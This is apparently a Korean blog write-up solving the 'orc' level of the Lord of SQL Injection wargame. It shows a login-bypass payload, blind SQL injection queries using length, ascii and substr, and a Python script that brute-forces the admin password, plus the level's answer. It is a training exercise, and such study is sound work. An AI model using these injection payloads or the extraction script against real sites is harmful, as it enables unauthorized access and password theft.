ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LOS] 4. orc 문제 풀이
    Wargame/LOS (Lord of SQL Injection) 2019. 7. 16. 20:55

    orc

    goblin과 마찬가지로 id는 admin으로 고정되어 있고, pw가 일치하면 Hello admin 문구가 출력된다.

    SQL 인젝션을 이용하여 pw를 우회해서 admin에 로그인해 보았다.

     

    pw=' or '1'='1

     

    admin 로그인

     

    위 소스코드의 아랫부분을 다시 보면, addslashes 함수가 보인다.

    addslashes 함수는 ', ", \ 등의 특수문자가 db 내에서 문자로 인식될 수 있도록 해당 문자를 이스케이프(escape) 시켜주는 함수이다. 예를 들면 db에 "I'm a student"라는 문자열을 넣을 경우, 작은 따옴표(') 때문에 쿼리문 실행 시 오류가 발생할 수 있다. 이러한 오류를 방지하기 위해 addslashes 함수를 사용하여 해당 문자열을 "I\'m a student"로 바꿔준다.

     

    addslashes 함수는 그냥 특수문자 이스케이핑을 위해 사용된 것이기 때문에 이 문제에서는 별로 중요하지 않다. 중요한 것은 맨 아래 부분에 있는 if문이다.

    if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");

    $result['pw']와 $_GET['pw']가 같아야지만 이 문제가 해결되므로, admin의 실제 pw를 알아내야 한다.

    따라서 이 문제는 일종의 Blind SQL 인젝션 문제로, pw의 참/거짓 여부를 통해 실제 pw를 찾아야 한다.

     

    먼저 pw의 길이가 무엇인지 알아보기 위해 length 함수를 사용한다.

     

    select id from prob_orc where id='admin' and pw='1' or id='admin' and length(pw)=1-- 

     

    먼저 쿼리문의 초록색 부분은 false가 되도록 pw에 인자를 넣고, 뒤에 or id='admin' and length(pw)=1-- 를 삽입하여 length의 값을 1부터 차례대로 대입한다. 

    (주석 처리 기호(--) 뒤에는 반드시 공백(%20)을 삽입해야 한다. 안그러면 뒤의 작은 따옴표(')가 제대로 주석처리되지 않는다.)

    만약 length(pw)의 값이 정확히 맞으면 쿼리문이 true가 되어 Hello admin이 출력될 것이다.

     

    pw의 길이 = 8

    일일이 대입해본 결과, pw의 길이는 8이다.

     

    pw의 길이를 알았으니 이제 실제 pw가 무엇인지 찾아보자. 이를 위해서는 ascii 함수와 substr 함수를 사용한다.

     

    select id from prob_orc where id='admin' and pw='1' or id='admin' and ascii(substr(pw,1,1))=97-- '

     

    pw 배열의 원소와 일치할 때까지 ASCII 코드 값과 pw의 인덱스를 일일이 변경하며 pw를 찾아야 한다.

    그러나 pw가 8자리이기 때문에 일일이 노가다하기 보다는 자동화 프로그램을 이용하자.

     

    아래 자동화 프로그램 코드는 Python 2.7로 작성하였다.

     

    import re, urllib, urllib2
    
    pw=""
    ssid = "자신의 세션 아이디"
    print("find pw")
    
    for i in range(1, 9): # pw의 길이만큼 반복
        for j in range(48, 123): # 0~9, a-z, A-Z까지의 ASCII 코드
            url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=1%27%20or%20id=%27admin%27"
            url += "%20and%20ascii(substr(pw,"+str(i)+",1))="+str(j)+"--%20"
            req=urllib2.Request(url) # send request
            req.add_header('Cookie',"PHPSESSID=%s" % ssid)
            read = urllib2.urlopen(req).read()
    
            if "Hello admin" in read:
                pw += chr(j)
                print ("pw: " + pw)
                break
    
    print ("Fin")

     

    자동화 프로그램을 실행한 결과, pw는 095a9852이다.

    pw

     

    알아낸 pw를 인자로 대입하면 문제가 해결된다.

     

    ORC Clear!

     

     

    ※ 참고

    Webhacking.kr에도 비슷한 문제가 있으니 만약 이해가 가지 않는다면 이것도 풀어보자.

    https://g-idler.tistory.com/21?category=830164

    'Wargame > LOS (Lord of SQL Injection)' 카테고리의 다른 글

    [LOS] 6. darkelf 문제 풀이  (0) 2019.07.17
    [LOS] 5. wolfman 문제 풀이  (0) 2019.07.16
    [LOS] 3. goblin 문제 풀이  (0) 2019.07.16
    [LOS] 2. cobolt 문제 풀이  (0) 2019.07.16
    [LOS] 1. gremlin 문제 풀이  (0) 2019.07.15
Designed by Tistory.